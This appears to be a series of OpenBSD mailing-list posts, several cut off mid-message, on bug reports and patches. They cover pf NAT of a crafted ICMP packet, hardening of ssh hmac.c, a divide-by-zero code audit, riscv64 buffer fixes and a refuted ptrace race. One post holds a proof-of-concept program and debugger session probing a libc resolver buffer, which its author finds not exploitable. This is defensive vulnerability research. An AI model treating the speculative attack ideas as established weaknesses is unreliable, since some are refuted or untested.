> > cpu2 at mainbus0 mpidr 2: ARM Cortex-A72 r0p3
> > cpu2: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
> > cpu2: 1024KB 64b/line 16-way L2 cache
> > cpu2: CRC32,ASID16
> > cpu3 at mainbus0 mpidr 3: ARM Cortex-A72 r0p3
> > cpu3: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
> > cpu3: 1024KB 64b/line 16-way L2 cache
> > cpu3: CRC32,ASID16
> > efi0 at mainbus0: UEFI 2.7
> > efi0: https://github.com/pftf/RPi4 rev 0x1
> > smbios0 at efi0: SMBIOS 3.3.0
> > smbios0: vendor https://github.com/pftf/RPi4 version "UEFI Firmware
> > v1.21" date 11/13/2020
> > smbios0: Raspberry Pi Foundation Raspberry Pi 4 Model B
> > apm0 at mainbus0
> > ampintc0 at mainbus0 nirq 256, ncpu 4 ipi: 0, 1,
Re: pf nat-to doesn't match a crafted packet
On Mon, Aug 28, 2023 at 06:18:41PM +0200, Alexandr Nedvedicky wrote:
> Hello,
>
> On Mon, Aug 28, 2023 at 05:13:29PM +0200, p...@delphinusdns.org wrote:
> > >Synopsis: pf nat-to doesn't match a crafted packet
> > >Category: system
> > >Environment:
> > System : OpenBSD 7.3
> > Details : OpenBSD 7.3 (GENERIC.MP) #2080: Sat Mar 25 14:20:25 MDT
> > 2023
> >
> > dera...@arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP
> >
> > Architecture: OpenBSD.arm64
> > Machine : arm64
> > >Description:
> > I was testing a seemingly valid Internet packet going out my gateway
> > but the pf firewall doesn't match nat-to to this one for some reason. I'm
> > possibly overlooking something but every other packet exiting my gateway is
> > nat'ed. What causes this? How can this be exploited?
> >
> > >How-To-Repeat:
> > Here is the tcpdump from the host 1 hop behind the NAT router:
> >
> > 16:59:08.438082 192.168.177.13 > 49.12.42.182: icmp: host 7.198.187.211
> > unreachable [icmp cksum ok] for 11.69.44.241.52699 > 7.198.187.211.55672:
> > udp 51351 [tos 0x9c] (ttl 147, id 17124, len 51419, optlen=40 NOP RR{39}=
> > RR{#106.155.117.54 233.26.79.111 129.127.249.242 60.117.146.16
> > 179.39.29.224 213.65.49.78 0.16.45.109 252.168.188.0 123.108.138.224}) (ttl
> > 64, id 65443, len 96)
> > : 4500 0060 ffa3 4001 ad81 c0a8 b10d E..`@...
> > 0010: 310c 2ab6 0301 55aa 4f9c c8db 1.*...U.O...
> > 0020: 42e4 9311 c756 0b45 2cf1 07c6 bbd3 B..V.E,.
> > 0030: 0107 2704 6a9b 7536 e91a 4f6f 817f f9f2 ..'.j.u6..Oo
> > 0040: 3c75 9210 b327 1de0 d541 314e 0010 2d6d > 0050: fca8 bc00 7b6c 8ae0 cddb d978 {l.x
> >
> > and here is the tcpdump on the pppoe interface:
> >
>
> can you check there is a state in pf(4) matching ICMP dest unreachable
> packet?
>
> in order to handle icmp unreachable message there must be matching
> state in pf(4).
>
> refer to pf_test_state_icmp() where translation of ICMP error messages
> happens.
>
> hope it helps
> regards
> sashan
>
Hi Alexandr,
root@stern# tcpdump -v -n -i pppoe0 -c 1 icmp && pfctl -ss -v | grep icmp
tcpdump: listening on pppoe0, link-type PPP_ETHER
18:25:34.273661 192.168.177.13 > 49.12.42.182: icmp: host 7.198.187.211
unreachable [icmp cksum ok] (ttl 63, id 60642, len 96)
root@stern#
No state. Though it's weird that this packet makes it out despite?
Is it supposed to work this way? As far as I understand it the packet made
it to the link layer on its way out and pf doesn't stop it there any more.
Here is my icmp rulesets:
root@stern# grep icmp /etc/pf.conf
pass in on pppoe0 inet proto icmp all icmp-type 8 code 0 keep state
pass out on $port1 inet6 proto icmp6 all keep state
pass in on $port1 inet proto icmp from 192.168.177.10 to any keep state
pass in on $port1 inet proto icmp from any to any icmp-type 8 code 0
keep state
pass in on $port1 inet proto icmp from any to any icmp-type 3 code 1
keep state
pass out log (all) on vlan4 inet proto icmp all
pass in log (all) on vlan4 inet proto icmp all
port1 is the ethernet interface facing my LAN (bse0).
Best Regards,
-peter
--
Over thirty years experience on Unix-like Operating Systems starting with QNX.
/usr/src/usr.bin/ssh/hmac.c improvement / calloc_conceal()
Hi,
I spent most of the evening reading and programming on ssh/hmac.c. While the
stuff I tried to do didn't work, here is something I believe will make the
security better in any possible corefiles. We conceal the contents of the
secret hmac key from being dumped. Also an update on a comment on how to
compile the -DTEST of hmac.c:
Best Regards,
-peter
Index: hmac.c
===
RCS file: /cvs/src/usr.bin/ssh/hmac.c,v
retrieving revision 1.14
diff -u -p -u -r1.14 hmac.c
--- hmac.c 26 Feb 2020 13:40:09 - 1.14
+++ hmac.c 14 Aug 2023 19:50:49 -
@@ -51,7 +51,7 @@ ssh_hmac_start(int alg)
(ret->digest = ssh_digest_start(alg)) == NULL)
goto fail;
ret->buf_len = ssh_digest_blocksize(ret->ictx);
- if ((ret->buf = calloc(1, ret->buf_len)) == NULL)
+ if ((ret->buf = calloc_conceal(1, ret->buf_len)) == NULL)
goto fail;
return ret;
fail:
@@ -133,8 +133,12 @@ ssh_hmac_free(struct ssh_hmac_ctx *ctx)
}
#ifdef TEST
+/*
+ cc -DTEST digest-openssl.c hmac.c cleanup.c fatal.c log.c \
+ xmalloc.c sshbuf.c sshbuf-misc.c match.c misc.c \
+ ssherr.c addrmatch.c addr.c sshbuf-getput-basic.c -lcrypto
+ */
-/* cc -DTEST hmac.c digest.c buffer.c cleanup.c fatal.c log.c xmalloc.c
-lcrypto */
static void
hmac_test(void *key, size_t klen, void *m, size_t mlen, u_char *e, size_t elen)
{
--
Over thirty years experience on Unix-like Operating Systems starting with QNX.
Re: no termination on buffer
seek YYY below for comments
On Thu, Aug 10, 2023 at 08:31:55PM +0200, p...@delphinusdns.org wrote:
> >Synopsis:no termination on buffer
> >Category:library
> >Environment:
> System : OpenBSD 7.3
> Details : OpenBSD 7.3 (GENERIC.MP) #2080: Sat Mar 25 14:20:25 MDT
> 2023
>
> dera...@arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP
>
> Architecture: OpenBSD.arm64
> Machine : arm64
> >Description:
>
> This is all just theory as I'm code reading. Let's start in
> setup_query() in /usr/src/lib/libc/asr/res_send_async.c ,...
YYY
OK I did the PoC or GTFO and well it's not exploitable (though the buffer is
able to be non-terminated) it doesn't help because it is checked before the
strdup. I want to share my findings so someone doesn't have to look at this:
#include
#include
#include
#include
#include
#include
#include
#include
void writesomejunkonstack(void);
int
main(void)
{
int result;
char hostbuf[1026];
struct rrsetinfo *fingerprints = NULL;
char *hostname =
"123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.AAA.xxyy";
strlcpy(hostbuf, hostname, sizeof(hostbuf));
//hostbuf[strlen(hostbuf) - 2] = '\0';
printf("%s %lu\n", hostbuf, strlen(hostbuf));
writesomejunkonstack();
result = getrrsetbyname(hostbuf, 1, 1, 0, );
if (result) {
return -1;
}
freerrset(fingerprints);
printf("hit control-c\n");
for (;;)
sleep (10);
}
void
writesomejunkonstack(void)
{
char junk[10240 * 3];
memset(, 0x31, sizeof(junk));
return;
}
pjp@polarstern$ gdb ./testdns
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "amd64-unknown-openbsd7.3"...
(gdb) break _res_query_async_ctx
Function "_res_query_async_ctx" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (_res_query_async_ctx) pending.
(gdb) run
Starting program: /home/pjp/testdns
Error while reading shared library symbols:
Dwarf Error: wrong version in compilation unit header (is 4, should be 2) [in
module /usr/libexec/ld.so]
Breakpoint 2 at 0x24222c573a9: file /usr/src/lib/libc/asr/res_send_async.c,
line 128.
Pending breakpoint "_res_query_async_ctx" resolved
123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.AAA.xxyy
1024
Breakpoint 2, _res_query_async_ctx (
name=0x242afa31000
"123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789.123456789."...,
class=1,
type=1, a_ctx=0x242afa4fc00) at
Re: buffer overprint in riscv64/cpu.c
On Tue, Aug 01, 2023 at 01:43:36PM +0200, p...@delphinusdns.org wrote:
> >Synopsis:non-terminated strings buffer in riscv64/cpu.c
> >Category:kernel
> >Environment:
> System : OpenBSD 7.3
> Details : OpenBSD 7.3-current (GENERIC.MP) #376: Thu Jul 13
> 03:59:40 MDT 2023
>
> dera...@riscv64.openbsd.org:/usr/src/sys/arch/riscv64/compile/GENERIC.MP
>
> Architecture: OpenBSD.riscv64
> Machine : riscv64
> >Description:
> The cpu detect output is not NUL terminated, this causes *puke* to be
> displayed on serial terminals.
> >How-To-Repeat:
> Using Qemu for riscv64 arch.
>
> from a eeprom -p | grep isa output:
>
> riscv,isa:
> 'rv64imafdch_zicsr_zifencei_zihintpause_zba_zbb_zbc_zbs_sstc'
> riscv,isa:
> 'rv64imafdch_zicsr_zifencei_zihintpause_zba_zbb_zbc_zbs_sstc'
>
> I counted this as 60 bytes long.
> >Fix:
>
> There is two approaches. One is to explicitly NUL terminate the 32 byte
> buffer or make it bigger. I give an untested patch of the latter.
>
> Index: cpu.c
> ===
> RCS file: /cvs/src/sys/arch/riscv64/riscv64/cpu.c,v
> retrieving revision 1.14
> diff -u -p -u -r1.14 cpu.c
> --- cpu.c 15 Jun 2023 22:18:08 - 1.14
> +++ cpu.c 1 Aug 2023 11:35:28 -
> @@ -87,7 +87,7 @@ int cpu_errata_sifive_cip_1200;
> void
> cpu_identify(struct cpu_info *ci)
> {
> - char isa[32];
> + char isa[64];
> uint64_t marchid, mimpid;
> uint32_t mvendorid;
> const char *vendor_name = NULL;
>
>
[tying in tech@]
This wasn't effective I just saw. On another QEMU host the cpu ISA string is
larger than 80 characters. So I've made another patch.
With this patch it looks like so:
oceans$ dmesg|grep cpu
cpu0 at mainbus0: vendor 0 arch 0 imp 0 rv64imafdch Zicbom Zicboz Zicsr
Zifencei Zihintpause Zawrs Zfa Zca Zcd Zba Zbb Zbc Zbs Sstc Svadu
intc0 at cpu0
cpu1 at mainbus0: vendor 0 arch 0 imp 0 rv64imafdch Zicbom Zicboz Zicsr
Zifencei Zihintpause Zawrs Zfa Zca Zcd Zba Zbb Zbc Zbs Sstc Svadu
oceans# grep zicboz /root/eeprom-p.out
riscv,isa:
'rv64imafdch_zicbom_zicboz_zicsr_zifencei_zihintpause_zawrs_zfa_zca_zcd_zba_zbb_zbc_zbs_sstc_svadu'
riscv,isa:
'rv64imafdch_zicbom_zicboz_zicsr_zifencei_zihintpause_zawrs_zfa_zca_zcd_zba_zbb_zbc_zbs_sstc_svadu'
This is in convention with the cpu.c found in qemu:
https://gitlab.com/qemu-project/qemu/-/blob/master/target/riscv/cpu.c
lines 64 through 84 is the description of it.
While I have no OpenBSD/riscv64 on true hardware it works on QEMU, and I
googled for a dmesg online and the Hifive Unmatched should work as well.
patch follows:
Index: cpu.c
===
RCS file: /cvs/src/sys/arch/riscv64/riscv64/cpu.c,v
retrieving revision 1.14
diff -u -p -u -r1.14 cpu.c
--- cpu.c 15 Jun 2023 22:18:08 - 1.14
+++ cpu.c 4 Aug 2023 11:15:16 -
@@ -84,15 +84,19 @@ struct cfdriver cpu_cd = {
int cpu_errata_sifive_cip_1200;
+
void
cpu_identify(struct cpu_info *ci)
{
- char isa[32];
+ char isa[255];
+ char szx_ext[255]; /* S, Z and X extension buffer */
+ char *extensions = "imafdqlcbkjtpvh";
uint64_t marchid, mimpid;
uint32_t mvendorid;
const char *vendor_name = NULL;
const char *arch_name = NULL;
struct arch *archlist = cpu_arch_none;
+ char *p, *pe, *end;
int i, len;
mvendorid = sbi_get_mvendorid();
@@ -126,8 +130,70 @@ cpu_identify(struct cpu_info *ci)
len = OF_getprop(ci->ci_node, "riscv,isa", isa, sizeof(isa));
if (len != -1) {
+ /* terminate it, it could be non-terminated */
+ isa[sizeof(isa) - 1] = '\0';
+
+ /* PARSE the IMAFDQ... extensions */
+ pe = extensions;
+ if ((p = strchr(isa, 'i')) != NULL ||
+ (p = strchr(isa, 'I')) != NULL) {
+ for (; *pe != '\0'; pe++) {
+ if (((*p)|0x20) == *pe) {
+ if (p[1]) {
+ p++;
+ i++;
+ } else
+ break;
+ }
+ /*
+* we've hit an underscore what follows
+* may be an S or Z extension
+*/
+ if (*p == '_')
+ break;
+ }
+
+ szx_ext[0] = '\0';
+ if (*p == '_') {
+ *p++ = '\0';
+
Re: code reading in progress, potential FPE soft spots [part 2]
On Sat, Jul 29, 2023 at 03:23:47PM +0200, Peter J. Philipp wrote:
> Hi,
>
> For a few hours I went grepping for MOD FPE conditions in the source code.
> I did this systematically examining them and here is my recommendations in
> form of patches for these spots. It's half the effort but I'm really wasted
> right now, and can't go on. Perhaps another time I'll continue.
>
> grep Logfile with comments below my signature. It is 20 patches, goes to
> ENDHERE
Here is the second part, I committed a few hours work into this...I'm gonna
take a break now. There is a theoretical denial of service I found when a
specially crafted wifi frame offers a beacon with a interval of 0. Please
give that some attention.
Best Regards,
-peter
ENDHERE, LATERMORE
dev/ic/malo.c: (i + 1) % count * sizeof(struct malo_rx_desc));
dev/ic/malo.c: (i + 1) % count * sizeof(struct malo_tx_desc));
*safe
dev/ic/mfi.c: disk = bd->bd_diskid % ld[vol].mlc_parm.mpa_no_drv_per_span;
--- mfi.c Fri Oct 21 07:20:48 2022
+++ /tmp/tfile Sun Jul 30 10:42:45 2023
@@ -1820,7 +1820,11 @@
arr = ld[vol].mlc_span[span].mls_index;
/* offset disk into pd list */
- disk = bd->bd_diskid % ld[vol].mlc_parm.mpa_no_drv_per_span;
+ if (ld[vol].mlc_parm.mpa_span_depth > 1)/* XXX */
+ disk = bd->bd_diskid % ld[vol].mlc_parm.mpa_no_drv_per_span;
+ else
+ disk = 0;
+
bd->bd_target = ar[arr].pd[disk].mar_enc_slot;
/* get status */
dev/ic/nvme.c: isqe->cid = blkno % 0x;
dev/ic/nvme.c: (icqe->cid != blkno % 0x))
*safe
dev/ic/rt2661.c:if (++txq->next >= txq->count) /* faster than
% count */
*safe
dev/ic/rtw.c: for (next = rdb->rdb_next; ; next = (next + 1) %
rdb->rdb_ndesc) {
dev/ic/rtw.c: ("%s: read % from reg[CONFIG1]\n", __func__, cfg1));
dev/ic/rtw.c: ("%s: read % from reg[%#02]\n", __func__, val,
dev/ic/rtw.c: ("%s: wrote % to reg[%#02]\n", __func__, val,
dev/ic/rtw.c: remainder = (bitlen * 2) % rate;
dev/ic/rtw.c: lastlen0 = paylen % fraglen;
--- rtw.c Fri Oct 21 07:20:48 2022
+++ /tmp/tfile Sun Jul 30 10:50:21 2023
@@ -3000,6 +3000,9 @@
else
overlen = IEEE80211_CRC_LEN;
+ if (fraglen == 0)
+ return -1;
+
npkt = paylen / fraglen;
lastlen0 = paylen % fraglen;
dev/ic/sti.c: a.in.y = ((uc - fp->first) %
scr->scr_fontmaxcol) *
dev/ic/sti.c: a.in.srcy = ((uc - fp->first) % scr->scr_fontmaxcol) *
--- sti.c Fri Oct 21 07:20:48 2022
+++ /tmp/tfile Sun Jul 30 10:57:18 2023
@@ -1366,6 +1366,11 @@
a.in.fg_colour = fg;
a.in.bg_colour = bg;
+ /* XXX make sure we don't FPE */
+ if (scr->scr_fontmaxcol == 0) {
+ return -1;
+ }
+
a.in.srcx = ((uc - fp->first) / scr->scr_fontmaxcol) *
fp->width + scr->scr_fontbase;
a.in.srcy = ((uc - fp->first) % scr->scr_fontmaxcol) *
dev/ic/tireg.h: (x) = (x + 1) % y; \
dev/ic/tireg.h: (TI_JRAWLEN % sizeof(u_int64_t
*safe
dev/ic/vga.c: scr->pcs.vc_ccol = cpos % type->ncols;
dev/ic/vga.c: p = (scr->pcs.visibleoffset - ul + we) % we + lines *
dev/ic/vga.c: st = (scr->pcs.dispoffset - ul + we) % we;
dev/ic/vga.c: scr->pcs.visibleoffset = (p + ul) % we;
--- vga.c Fri May 28 01:24:40 2021
+++ /tmp/tfile Sun Jul 30 11:08:17 2023
@@ -430,6 +430,10 @@
scr->pcs.visibleoffset = scr->pcs.dispoffset;
scr->vga_rollover = 0;
+ /* avoid FPE on non-alpha archs */
+ if (type->ncols == 0)
+ return;
+
scr->pcs.vc_crow = cpos / type->ncols;
scr->pcs.vc_ccol = cpos % type->ncols;
pcdisplay_cursor_init(>pcs, existing);
@@ -965,6 +969,9 @@
if (scr->vga_rollover > vga_scr_end + margin) {
ul = vga_scr_end;
we = scr->vga_rollover + scr->pcs.type->ncols * 2;
+ /* avoid FPE */
+ if (we == 0)
+ return;
} else {
ul = 0;
we = 0x8000;
dev/ic/w83l518d_sdmmc.c:if (cmd->c_datalen % blklen > 0) {
--- w83l518d_sdmmc.cWed Jan 22 04:26:02 2020
+++ /tmp/tfile Sun Jul 30 11:11:22 2023
@@ -443,10 +443,16 @@
goto done;
}
+ /* FPE avoidance */
+ if (cmd->c_blklen == 0) {
+ cmd->c_error = EIO;
+ goto done;
+ }
+
code reading in progress, potential FPE soft spots
Hi,
For a few hours I went grepping for MOD FPE conditions in the source code.
I did this systematically examining them and here is my recommendations in
form of patches for these spots. It's half the effort but I'm really wasted
right now, and can't go on. Perhaps another time I'll continue.
grep Logfile with comments below my signature. It is 20 patches, goes to
ENDHERE
Best Regards,
-peter
--
Over thirty years experience on Unix-like Operating Systems starting with QNX.
from: 56 grep -r "%\ [0a-z]" * > /tmp/divide.txt
STARTHERE:
arch/alpha/stand/installboot.c: if ((minor(disksb.st_rdev) %
getmaxpartitions()) != getrawpartition())
getmaxpartitions can return 0, but since it is an installboot, it's unlikely.
arch/alpha/tc/ioasic.c: (led_blink_state.patpos + 1) %
sizeof(led_pattern8);
*safe
arch/amd64/amd64/acpi_wakecode.S: .word 0x0fff, (ACPI_TRAMPOLINE %
0x1)
*safe
arch/amd64/amd64/identcpu.c:ci->ci_smt_id = thread_id % nthreads;
*safe (nthreads is > 1)
arch/amd64/stand/efi32/efidev.c:i_lblks = ((off % blks) == 0)? 0 : blks
- (off % blks);
*safe if (blks == 0)
arch/amd64/stand/efi32/efidev.c:i_tblks = (nsect > i_lblks)? (off +
nsect) % blks : 0;
arch/amd64/stand/efi64/efidev.c:i_lblks = ((off % blks) == 0)? 0 : blks
- (off % blks);
arch/amd64/stand/efi64/efidev.c:i_tblks = (nsect > i_lblks)? (off +
nsect) % blks : 0;
arch/amd64/stand/efiboot/efidev.c: if (off % blks != 0 || nsect %
blks != 0) {
*safe blks == 0 check
arch/arm/mainbus/mainbus.c: if (sc->sc_rangeslen > 0 && !(sc->sc_rangeslen
% sizeof(uint32_t))) {
*safe
arch/arm/mainbus/mainbus.c: if (len > 0 && (len % line) == 0) {
--- mainbus.c Sat Mar 12 15:40:41 2022
+++ /tmp/tfile Sat Jul 29 12:02:00 2023
@@ -171,7 +171,7 @@
len = OF_getproplen(node, "reg");
line = (sc->sc_acells + sc->sc_scells) * sizeof(uint32_t);
- if (len > 0 && (len % line) == 0) {
+ if (len > 0 && line > 0 && (len % line) == 0) {
reg = malloc(len, M_TEMP, M_WAITOK);
OF_getpropintarray(node, "reg", reg, len);
arch/arm/mainbus/mainbus.c: if (len > 0 && (len % sizeof(uint32_t)) == 0) {
*safe
arch/arm/simplebus/simplebus.c: (sc->sc_rangeslen % sizeof(uint32_t)) == 0)
{
arch/arm/simplebus/simplebus.c: (sc->sc_dmarangeslen % sizeof(uint32_t)) ==
0) {
*safe
arch/arm/simplebus/simplebus.c: if (len > 0 && line > 0 && (len % line) == 0) {
arch/arm/simplebus/simplebus.c: if (len > 0 && (len % sizeof(uint32_t)) == 0) {
*safe
arch/arm64/arm64/intr.c:if (len <= 0 || (len % sizeof(uint32_t) != 0))
*safe
arch/arm64/dev/aplpcie.c: (sc->sc_msi_rangelen % sizeof(uint32_t)) ||
arch/arm64/dev/aplpcie.c: if (rangeslen <= 0 || (rangeslen %
sizeof(uint32_t)) ||
*safe
arch/arm64/dev/mainbus.c: if (sc->sc_rangeslen > 0 && !(sc->sc_rangeslen
% sizeof(uint32_t))) {
*safe
arch/arm64/dev/mainbus.c: if (len > 0 && (len % line) == 0) {
--- mainbus.c Tue Apr 11 06:29:15 2023
+++ /tmp/tfile Sat Jul 29 12:07:20 2023
@@ -228,7 +228,7 @@
len = OF_getproplen(node, "reg");
line = (sc->sc_acells + sc->sc_scells) * sizeof(uint32_t);
- if (len > 0 && (len % line) == 0) {
+ if (len > 0 && line > 0 && (len % line) == 0) {
reg = malloc(len, M_TEMP, M_WAITOK);
OF_getpropintarray(node, "reg", reg, len);
arch/arm64/dev/mainbus.c: if (len > 0 && (len % sizeof(uint32_t)) == 0) {
*safe
arch/arm64/dev/simplebus.c: (sc->sc_rangeslen % sizeof(uint32_t)) == 0)
{
arch/arm64/dev/simplebus.c: (sc->sc_dmarangeslen % sizeof(uint32_t)) ==
0) {
*safe
arch/arm64/dev/simplebus.c: if (len > 0 && line > 0 && (len % line) == 0) {
arch/arm64/dev/simplebus.c: if (len > 0 && (len % sizeof(uint32_t)) == 0) {
*safe
arch/arm64/stand/efiboot/efiboot.c: buf[i] ^= random[i %
len];
arch/arm64/stand/efiboot/efiboot.c: buf[i] ^= random[i %
len];
*safe
arch/arm64/stand/efiboot/efidev.c: if (off % blks != 0 || nsect %
blks != 0) {
*safe
arch/arm64/stand/efiboot/fdt.c: if ((cnt % sizeof(uint32_t)) ==
0)
*safe
arch/armv7/armv7/intr.c:if (len <= 0 || (len % sizeof(uint32_t) != 0))
*safe
arch/armv7/marvell/mvmbus.c:if (rangeslen <= 0 || (rangeslen %
sizeof(uint32_t)))
arch/armv7/marvell/mvpcie.c:if (rangeslen <= 0 || (rangeslen %
sizeof(uint32_t)) ||
*safe
arch/armv7/omap/ommmc.c:if (cmd->c_datalen % blksize > 0) {
--- ommmc.c Sun Oct 24 19:52:27 2021
+++ /tmp/tfile Sat Jul 29 12:19:48 2023
@@ -936,7 +936,7 @@
*/
/* Fragment the data into proper blocks. */
- if (cmd->c_datalen > 0) {
+ if (cmd->c_datalen > 0 && cmd->c_blklen > 0) {
blksize = MIN(cmd->c_datalen, cmd->c_blklen);
blkcount
Re: Samsung NVMe M.2 SSD 970 EVO Plus fails to attach on VisionFive 2 (JH7110 SoC) board
[tying in misc@ for this resource] On Fri, Jul 28, 2023 at 03:26:54PM +0200, develo...@robert-palm.de wrote: > Many thanks! Please, will you commit it so I can test it with the next > snapshot version ? I have already contacted Robert (?) privately, here it is publically. I have exported my QEMU script on github, in case anyone else needs to compile RISCV64 kernels and images (without having to wait on snapshots): https://github.com/pbug44/openbsd-riscv-misc/blob/master/start-rv64.sh I use this config to compile kernels for riscv64 (on a rpi4b it's slow!). Best Regards, -peter -- Over thirty years experience on Unix-like Operating Systems starting with QNX.
Re: delaying ptrace(2)'ing a process about to change credentials
On Sat, Jul 22, 2023 at 12:40:46PM -0700, Philip Guenther wrote: > On Sat, 22 Jul 2023, p...@delphinusdns.org wrote: > > >Synopsis: delaying ptrace(2)'ing a process about to change credentials > > >Category: kernel > > >Environment: > > System : OpenBSD 7.3 > > Details : OpenBSD 7.3 (GENERIC.MP) #2080: Sat Mar 25 14:20:25 MDT > > 2023 > > > > dera...@arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP > > > > Architecture: OpenBSD.arm64 > > Machine : arm64 > > >Description: > > In many scenarios it's possible to attach to a root owned process > > with ptrace(2) after it changes credentials to non-root. > > Is this something you've managed to implement? > > As is, I'm not seeing how this will happen: > * initially, the target process has ruid==0 > * during the set*uid syscall, it holds the kernel lock across the update >of ps_ucred and setting PS_SUGID in its ps_flags > * the process doing ptrace(PT_ATTACH) holds the kernel lock across the >check you quoted, so it can't see target_ruid==my_ruid without also >seeing PS_SUGID set > > > What am I missing? > > > Philip Guenther No I haven't implemented this. Thanks for clarifying that the PS_SUGID flag is set here. I had thought that this is a flag that is associated with setuid/setgid binaries (ie. 04000/02000 mode). Is it possible for the attacking process to deliver a SIGABRT to the target process without doing the ptrace() though? It's a different thing though. It also is highly unlikely due to the random pids, so I'll let it rest. Thanks for clarifying Philip! Best Regards, -peter -- Over thirty years experience on Unix-like Operating Systems starting with QNX.
could there be a breach of license in efiboot?
Hi, the license here from: https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/stand/efi/include/README?rev=1.1=text/plain > /* $FreeBSD: head/sys/boot/efi/include/README 139738 2005-01-05 22:16:58Z imp $ */ /*- Files in this directory and subdirectories are subject to the following copyright unless superceded or supplemented by additional specific license terms found in the file headers of individual files. Copyright (c) 1998-2000 Intel Corporation Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL INTEL BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. THE EFI SPECIFICATION AND ALL OTHER INFORMATION ON THIS WEB SITE ARE PROVIDED "AS IS" WITH NO WARRANTIES, AND ARE SUBJECT TO CHANGE WITHOUT NOTICE. */ <--- The part I'm worried about is this clause: Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. This should be included on all the efiboot distributions on install disks. I know it's a lot of work and I know you've been working hard to conserve space on the install medias, perhaps it's time to put this license in with the cd9660 image. Otherwise I can't work with this, nor OpenBSD. Here is another license: https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/stand/efi/include/efi.h?rev=1.1=text/plain /*++ Copyright (c) 1999 - 2002 Intel Corporation. All rights reserved This software and associated documentation (if any) is furnished under a license and may only be used or copied in accordance with the terms of the license. Except as permitted by such license, no part of this software or documentation may be reproduced, stored in a retrieval system, or transmitted in any form or by any means without the express written consent of Intel Corporation. Module Name: efi.h Abstract: Public EFI header files Revision History --*/ Since we're in breach of the terms of license (not including the license in the binary form) we need express written consent from Intel. This should be included somewhere for all to see. Does it exist anywhere? Best Regards, -- Over thirty years experience on Unix-like Operating Systems starting with QNX.
Re: pardon me
On Fri, Jul 07, 2023 at 03:36:22PM +0200, Mark Kettenis wrote:
> > Date: Fri, 7 Jul 2023 15:30:37 +0200
> > From: "Peter J. Philipp"
> >
> > I'm looking into considering adding pins for the mango pi SBC (riscv64) and
> > noticed this little file that has no license:
> >
> > --->
> > riscv64# head /sys/dev/fdt/sxipio_pins.h
> > /* Public Domain */
> >
> >
> > const struct sxipio_pin sun4i_a10_pins[] = {
> > { SXIPIO_PIN(A, 0), {
> > { "gpio_in", 0 },
> > { "gpio_out", 1 },
> > { "emac", 2 },
> > { "spi1", 3 },
> > { "uart2", 4 },
> > <---
> >
> > Where does this file come from? how is it generated?
>
> https://github.com/kettenis/sxipins
>
> > If anyone also knows the pins for the mango pi D1 in form of
> > documentation anywhere (perhaps you're working on it or not) and
> > wants to share I'd be grateful.
>
> The docs for the allwinner SoCs tends to be publically available and
> contain the information about the pins.
>
Hi Mark,
Thank you! That is great, do you prefer a pull request or just a diff? I took
the information from 6.4.2 kernel and tied it in with your sources with minor
changes. Inline is the diff in case you want to see the changes without
pull request:
Best Regards,
-peter
--
Over thirty years experience on Unix-like Operating Systems starting with QNX.
